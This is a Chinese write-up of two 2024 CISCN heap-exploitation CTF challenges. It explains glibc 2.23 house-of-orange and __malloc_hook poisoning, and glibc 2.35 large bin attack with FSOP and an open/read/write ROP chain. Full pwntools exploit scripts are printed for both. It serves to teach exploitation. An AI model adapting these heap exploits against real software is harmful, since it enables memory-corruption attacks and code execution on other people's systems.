2024ciscn初赛两道经典堆题
字数 1108 2025-08-03 16:48:42

2024 CISCN初赛两道经典堆题解析

前言

本文详细分析2024年CISCN初赛中的两道经典堆利用题目:orange_cat_diaryEzHeap。这两道题目分别考察了不同版本的glibc堆利用技术,涉及UAF、堆溢出、large bin attack等关键技术点。

orange_cat_diary题目解析

题目基本信息

  • glibc版本:2.23
  • 保护机制:未明确说明,但基于2.23版本特性
  • 功能限制:
    • 申请大小限制在0x1000范围内
    • 提供一次UAF机会
    • 一次show功能
    • edit功能可修改较多内容

利用思路

  1. 修改top chunk size

    add(0x28,"aaaa")
    pay = 'b'*0x28+p64(0xfd1)
    edit(0x30,pay)
    

    通过溢出修改top chunk的size为0xfd1。

  2. 触发unsorted bin

    add(0x1000,"c")
    

    申请大于0xfd1大小的堆块,将top_chunk送入unsorted bin。

  3. 泄露libc和heap地址

    add(0x400,'bbbbbbbb')
    show()
    ru('bbbbbbbb')
    main_arena = uu64(r(6))
    libc_base = main_arena-0x3c510a
    

    通过large chunk泄露main_arena地址,计算libc基址。

  4. 利用UAF攻击malloc_hook

    add(0x60,'eeee')
    delete()
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    edit(8,p64(malloc_hook-0x23))
    

    在2.23版本中,malloc_hook需要在0x70这条链表上错位攻击(malloc_hook-0x23)。

  5. 构造payload触发one gadget

    add(0x60,'eeee')
    pl='a'*0x13+p64(og)
    add(0x60,pl)
    

    通过malloc触发one gadget。

完整EXP

from pwn import *

context(os='linux', log_level="debug", arch='amd64')

def main():
    p = process('./pwn')
    libc = ELF('./libc-2.23.so')
    
    # 初始交互
    ru("Hello, I'm delighted to meet you. Please tell me your name.")
    sl('F4atherw1t')
    
    # 修改top chunk size
    add(0x28,"aaaa")
    pay = 'b'*0x28+p64(0xfd1)
    edit(0x30,pay)
    
    # 触发unsorted bin
    add(0x1000,"c")
    add(0x400,'bbbbbbbb')
    
    # 泄露libc和heap地址
    show()
    ru('bbbbbbbb')
    main_arena = uu64(r(6))
    libc_base = main_arena-0x3c510a
    r(3)
    heap=u64(p.recv(6).ljust(8,'\x00'))
    heap_addr=heap<<8
    
    # 攻击malloc_hook
    og=libc_base+0xf1247
    add(0x60,'eeee')
    delete()
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    edit(8,p64(malloc_hook-0x23))
    add(0x60,'eeee')
    pl='a'*0x13+p64(og)
    add(0x60,pl)
    
    # 触发one gadget
    sla('Please input your choice:','1')
    ru('Please input the length of the diary content:')
    sl('666')
    itr()

if __name__ == '__main__':
    main()

EzHeap题目解析

题目基本信息

  • glibc版本:2.35
  • 保护机制:沙箱(仅允许open、read和write)
  • 功能限制:
    • add限制在0x500
    • 无UAF
    • edit存在堆溢出(可修改大小在0x500)

利用思路

  1. 整理堆布局

    add(0x450,'bbbb')
    

    申请大chunk整理fastbin和unsortedbin。

  2. 泄露libc地址

    add(0xe8,'bbbb')
    pl=b'a'*0x258+b'kkkkkkkk'
    edit(1,len(pl),pl)
    show(1)
    ru('kkkkkkkk')
    libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
    

    通过堆溢出覆盖并泄露libc地址。

  3. 泄露heap地址

    delete(0)
    delete(1)
    add(0x58,b'a')
    pl=b'k'*0xa8+b'ffffffff'
    edit(0,len(pl),pl)
    show(0)
    ru('ffffffff')
    heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
    
  4. 构造ORW链

    orw=b'./flag\x00\x00'
    orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
    orw+=p64(rdi)+p64(orw_addr)
    orw+=p64(rsi)+p64(0)
    orw+=p64(rax)+p64(2)
    orw+=p64(syscall)
    # ... 其他ORW链
    
  5. large bin attack

    pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
    pl+=p64(0)*2+p64(0)+p64(orw_addr) 
    # ... 其他构造
    edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
    

    通过堆溢出修改large bin chunk。

  6. 触发IO攻击

    add(0x4e0,'a')
    add(0x440,'b')
    exit()
    

    申请特定大小chunk触发large bin attack,修改IO结构。

完整EXP

from pwn import *

context(os='linux', log_level="debug")

def main():
    p = process('./pwn')
    libc = ELF('./libc.so.6')
    
    # 初始堆布局整理
    add(0x450,'bbbb')
    add(0xe8,'bbbb')
    
    # 泄露libc地址
    pl=b'a'*0x258+b'kkkkkkkk'
    edit(1,len(pl),pl)
    show(1)
    ru('kkkkkkkk')
    libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
    
    # 泄露heap地址
    delete(0)
    delete(1)
    add(0x58,b'a')
    pl=b'k'*0xa8+b'ffffffff'
    edit(0,len(pl),pl)
    show(0)
    ru('ffffffff')
    heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
    
    # 准备gadget
    rdi = libc_base + 0x2a3e5
    rsi = libc_base + 0x2be51
    rdx_r12 = libc_base + 0x11f2e7
    rax= libc_base + 0x45eb0
    ret = libc_base + 0x29139
    lock =0x3ed8b0+libc_base
    magic_gadget = libc_base + 0x16a050 +26 
    syscall = libc_base + libc.sym['read'] + 0x10
    io_all = libc_base + libc.sym['_IO_list_all']  
    wfile = libc_base + libc.sym['_IO_wfile_jumps']  
    leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
    
    # 构造ORW链
    orw_addr=heap_base+0x3210
    flag_addr = heap_base+0x260
    chunk0 = heap_base + 0x24b0
    
    add(0x250,'pppp') #idx=1
    add(0x458,'aaaa')
    add(0x458,'aaaa')
    add(0x448,'aaaa')
    add(0x448,'aaaa') #idx=5
    
    delete(2)
    add(0x498,'a')
    delete(4)
    
    orw=b'./flag\x00\x00'
    orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
    orw+=p64(rdi)+p64(orw_addr)
    orw+=p64(rsi)+p64(0)
    orw+=p64(rax)+p64(2)
    orw+=p64(syscall)
    orw+=p64(rdi)+p64(3)
    orw+=p64(rsi)+p64(orw_addr+0x100)
    orw+=p64(rdx_r12)+p64(0x50)+p64(0)
    orw+=p64(rax)+p64(0)
    orw+=p64(syscall)
    orw+=p64(rdi)+p64(1)
    orw+=p64(rsi)+p64(orw_addr+0x100)
    orw+=p64(rdx_r12)+p64(0x50)+p64(0)
    orw+=p64(rax)+p64(1)
    orw+=p64(syscall)
    
    edit(5,len(orw),orw)
    
    # large bin attack
    pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
    pl+=p64(0)*2+p64(0)+p64(orw_addr) 
    pl+=p64(0)*4
    pl+=p64(0)*3+p64(lock)
    pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
    pl+=p64(0)*4
    pl+=p64(0)+p64(wfile) 
    pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)   
    pl+=p64(0)*0xd+p64(magic_gadget)
    edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
    
    # 触发攻击
    add(0x4e0,'a')
    add(0x440,'b')
    exit()
    itr()

if __name__ == '__main__':
    main()

总结

这两道题目分别展示了不同glibc版本下的堆利用技术:

  1. orange_cat_diary

    • 利用glibc 2.23的经典house of orange技术
    • 通过修改top chunk size触发unsorted bin
    • 利用UAF攻击malloc_hook
  2. EzHeap

    • 针对glibc 2.35的利用
    • 结合堆溢出和large bin attack
    • 在沙箱限制下通过IO攻击实现ORW

这两道题目涵盖了从经典到现代的堆利用技术,对于理解glibc堆管理和利用技术有很好的学习价值。

2024 CISCN初赛两道经典堆题解析 前言 本文详细分析2024年CISCN初赛中的两道经典堆利用题目: orange_cat_diary 和 EzHeap 。这两道题目分别考察了不同版本的glibc堆利用技术,涉及UAF、堆溢出、large bin attack等关键技术点。 orange_ cat_ diary题目解析 题目基本信息 glibc版本:2.23 保护机制:未明确说明,但基于2.23版本特性 功能限制: 申请大小限制在0x1000范围内 提供一次UAF机会 一次show功能 edit功能可修改较多内容 利用思路 修改top chunk size : 通过溢出修改top chunk的size为0xfd1。 触发unsorted bin : 申请大于0xfd1大小的堆块,将top_ chunk送入unsorted bin。 泄露libc和heap地址 : 通过large chunk泄露main_ arena地址,计算libc基址。 利用UAF攻击malloc_ hook : 在2.23版本中,malloc_ hook需要在0x70这条链表上错位攻击(malloc_ hook-0x23)。 构造payload触发one gadget : 通过malloc触发one gadget。 完整EXP EzHeap题目解析 题目基本信息 glibc版本:2.35 保护机制:沙箱(仅允许open、read和write) 功能限制: add限制在0x500 无UAF edit存在堆溢出(可修改大小在0x500) 利用思路 整理堆布局 : 申请大chunk整理fastbin和unsortedbin。 泄露libc地址 : 通过堆溢出覆盖并泄露libc地址。 泄露heap地址 : 构造ORW链 : large bin attack : 通过堆溢出修改large bin chunk。 触发IO攻击 : 申请特定大小chunk触发large bin attack,修改IO结构。 完整EXP 总结 这两道题目分别展示了不同glibc版本下的堆利用技术: orange_ cat_ diary : 利用glibc 2.23的经典house of orange技术 通过修改top chunk size触发unsorted bin 利用UAF攻击malloc_ hook EzHeap : 针对glibc 2.35的利用 结合堆溢出和large bin attack 在沙箱限制下通过IO攻击实现ORW 这两道题目涵盖了从经典到现代的堆利用技术,对于理解glibc堆管理和利用技术有很好的学习价值。